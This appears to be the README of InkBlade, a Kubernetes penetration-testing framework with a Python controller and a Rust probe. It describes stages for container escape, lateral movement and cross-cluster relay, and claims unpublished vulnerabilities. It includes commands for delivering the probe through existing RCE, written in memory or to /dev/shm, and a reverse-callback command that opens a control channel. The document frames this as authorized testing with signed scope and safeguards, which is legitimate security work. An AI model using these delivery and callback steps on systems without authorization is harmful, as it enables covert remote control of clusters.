InkBlade墨刃零

Each layer is a set of templates you can run on its own. A template declares inputs, steps, checks, findings and artifacts; the probe executes it and returns evidence.

The ten layers

Layer detail, detection points and evidence produced: DETECTION-LAYERS.md · PRODUCT.md

Platform capabilities

• One execution path. Foothold, Rust probe, framed channel, in-pod task, child probe, evidence.
• Probe trees. probe_id and parent_id; each child has its own token and a stricter budget; the tree limits nesting depth and concurrent child probes; cleanup is child-first.
• Agent runtime. A budgeted objective graph with decision trace, journal resume and zero-execution replay.
• Cross-cluster relay. The same framed protocol between clusters, with a completion proof.
• Evidence from the probe. Task results, step logs, artifacts, SHA-256 manifests, traffic tables and cleanup receipts.
• Rules you can replay. Admission, runtime and network packs with intercepted / detected / missed matrices.
• Report and console. Bilingual pentest and remediation reports, SARIF / OCSF / VEX export, local console.

The controller never executes target-side logic. It authorizes, renders templates, enforces budgets and archives evidence. The probe is the only code that runs inside the Pod.

foothold ──▶ Rust probe ──▶ framed channel ──▶ in-pod task
                                              │
                                              ├─▶ child probe ──▶ child probe
                                              └─▶ evidence ──▶ report / rules / console

Three components

• Templates. template.json declares inputs, payloads, steps, computed state, checks, findings and artifacts.
• Probe. A static Rust binary speaks an HMAC-authenticated framed protocol and executes http, tcp, exec, fs, k8s, socks and spawn ops.
• Controller. Python enforces consent, scope, level, backup and audit, then folds probe evidence into findings.

Probe tree

Every probe has a probe_id and a parent_id. Children inherit the parent's read-only state, command allow-list and budget, and can only be stricter. Cleanup runs child-first, so no uncleaned child probe keeps a token alive.

ARCHITECTURE.md · ARCHITECTURE-PROBE.md · PROBE-PROTOCOL.md

The probe is one static musl binary per architecture, linux/amd64 and linux/arm64. Templates are JSON data.

Probe operations

Every operation is budgeted, scoped and recorded in the evidence store; the probe tree cleans up child-first.

Every module is a template, and the registry rejects a module that ships run.py.

ARCHITECTURE-PROBE.md · PROBE-PROTOCOL.md · PROBE-BUILD.md

The reverse channel and the ML proxies are separate layers: the channel carries frames between controller and probe, the proxies carry a service protocol between the probe and an in-scope target.

Authentication and encryption

• Every framed message carries a token and an HMAC; a wrong token or MAC closes the channel.
• TLS, WSS, HTTPS, QUIC and WebTransport validate the controller certificate against a pinned SHA-256 fingerprint and an optional CA file.
• gRPC, Redis, TCPStore, NCCL and UCX proxies are TLS-wrapped; ZMTP uses CURVE with Z85 keys when enabled.
• SOCKS5 stays on loopback and is a compatibility path for local tooling, not a network-wide proxy.

PROBE-CHANNEL.md · PROBE-PROTOCOL.md · USAGE.md

The template catalogue is built on 184 vulnerability write-ups, each recording the component, affected versions, root cause, impact and detection. 68 have runnable PoCs. The research set contains 169 entries: 47 were reproduced dynamically and confirmed unpublished, 46 are ready for coordinated disclosure, and deduplication leaves 39 distinct exploit primitives. A 103-record version matrix and 121 detection rules feed 29 attack chains.

Vulnerability research

The public ledger lists component, class, affected versions and disclosure status; exploit details stay private.

0DAY-PUBLIC.md · VULNERABILITY-LAYERS.md · DETECTION-LAYERS.md

The order matters. Any stage can refuse, and a refusal stops the run.

• 1Footholdsession open records the entry vector, target, namespace, Pod and credential fingerprint.
  → session record
• 2Rust probeprobe deploy delivers the static binary and registers its identity and hash.
  → probe identity
• 3Channelchannel listen accepts the probe's reverse connection; a stdio channel is available when a local transport exists.
  → channel state
• 4Detectionsession run, run and agent run execute templates across the ten layers.
  → findings, evidence
• 5Escapeexecute resolves a chain; write steps pass the backup check first.
  → escape path
• 6Lateralchannel forwards, child probes and agent graph edges map internal reachability.
  → reachability graph
• 7Multi-probeprobe spawn extends the tree; children inherit a stricter budget and allow-list.
  → probe tree
• 8Cross-clusteragent relay connects clusters; agent coverage writes the completion proof.
  → relay status, coverage proof
• 9Report / rules / consolereport, export, rules generate and ui finish the engagement.
  → report, rule packs, console

Write-permission checks

Stage reference

Start from the console and attach the probe or foothold you already hold. The default foothold is a least-privilege Pod: non-root, no hostPath or privileged mode, no kubeconfig, outbound TCP only.

1. python -m pip install -e .Install the controller (Python 3.10 – 3.13).
2. python -m inkblade upStart the console, sign in and sign the authorization record.
3. python -m inkblade probe listAttach an existing probe; the controller listens and the probe connects back.
4. python -m inkblade session open --mode foothold ...First delivery from the shell, SA token or RCE you already hold.
5. python -m inkblade agent run --probe <probe-id> ...Run detection through the probe channel, then report.

$ python -m inkblade up
$ python -m inkblade quickstart
$ python -m inkblade probe list
$ python -m inkblade channel listen
$ python -m inkblade session open --mode foothold --target <target>     --credential-source pod-shell --namespace <namespace> --pod <pod>
$ python -m inkblade probe deploy --session <session-id> --via rce     --binary ./inkblade-probe-linux-amd64 --probe-token-file ./probe.token --allow-write
$ inkblade-probe reverse --host <controller> --port <port>
$ python -m inkblade agent run --probe <probe-id> --objective read-only-recon --workspace ./work
$ python -m inkblade report --run <run-id> --lang bi

Child probes are delivered from the parent with probe upload + probe spawn and call back the same way. A stdio channel (channel start) is available when a local command transport exists. A kubeconfig is optional, only for a first batch bootstrap of several Pods. The documentation site is local: python -m inkblade docs serves docs/ on 127.0.0.1:8766 and opens the browser; --no-browser keeps it headless.

Quick start · Install · Usage

Commands that do not contact a cluster or an LLM run offline. Agent planning needs an LLM endpoint.

Full usage reference

The controller is a Python package with no third-party dependency. The probe is a separate static binary.

python -m pip wheel . --no-deps -w dist/
python -m pip install --no-index --find-links dist/ inkblade

docker build -t inkblade:0.2.0 .
docker run --rm -v inkblade-data:/data inkblade:0.2.0 up

helm install inkblade deploy/helm/inkblade   --namespace inkblade --create-namespace

uid 10001, read-only root, a PVC for evidence. Read verbs by default; writes need readOnly=false, rbac.allowWrite=true and a signed record. Uninstall keeps the PVC.

Install guide · Probe delivery

InkBlade refuses to run without a signed record, and each stage has its own check.

1. RoE recordTarget, scope, level, window and emergency contact. Hash-pinned and carried by every run.
2. Read-only defaultCollection, probes, file reads and read-only templates need no extra flag.
3. Five write-permission checksSession level, --allow-write, meta.writes, backup-write mode, backup receipt.
4. Backup and rollbackSnapshot before the write, record both, restore one step at a time.
5. Audit and evidenceEvery probe action and file access lands in the evidence store with a SHA-256 manifest.
6. Kill switchinkblade abort stops the workspace; agent stop stops one run.

How does the probe get into the Pod?

From a foothold you already hold. The default is authorized RCE: base64 chunks of the binary go into the Pod and are written through memfd, or through /dev/shm or /tmp when memfd is unavailable, then chmod 700 and start. A ServiceAccount token, a shared volume and an EphemeralContainer manifest are the other roads: probe deploy --via sa-token builds a temporary kubeconfig and uses kubectl cp + exec, a shared volume carries the binary through a mounted volume, and probe deploy --via manifest generates the Pod, Job or EphemeralContainer manifest. kubectl is only needed for batch bootstrap. Once started, the probe calls back with inkblade-probe reverse --host --port , and every later command runs over that channel.

Is the probe a backdoor?

No. It does not persist, modify startup, patch images or call a fixed C2. It runs inside an authorized session, executes registered templates, defaults to read-only, checks writes and cleans up.

How are writes controlled?

Five checks: signed authorization covering target, level and window; --allow-write; meta.writes with a write step; backup-write mode; and a backup receipt. A write reads back the hash and rolls back on failure.

Can it run air-gapped?

Manual runs, templates, probes and reports run offline. Agent mode with LLM planning needs an LLM endpoint — a local model or an internal API; without one, use manual or rule-based execution.

Can I use it commercially?

Apache-2.0 permits commercial use and forks. Keep LICENSE and NOTICE, and do not use the InkBlade trademark for a fork.

More: FAQ.md

Apache-2.0. Commercial use, forks and embedding are permitted; keep the notices.

Documentation index: DOC-INDEX.md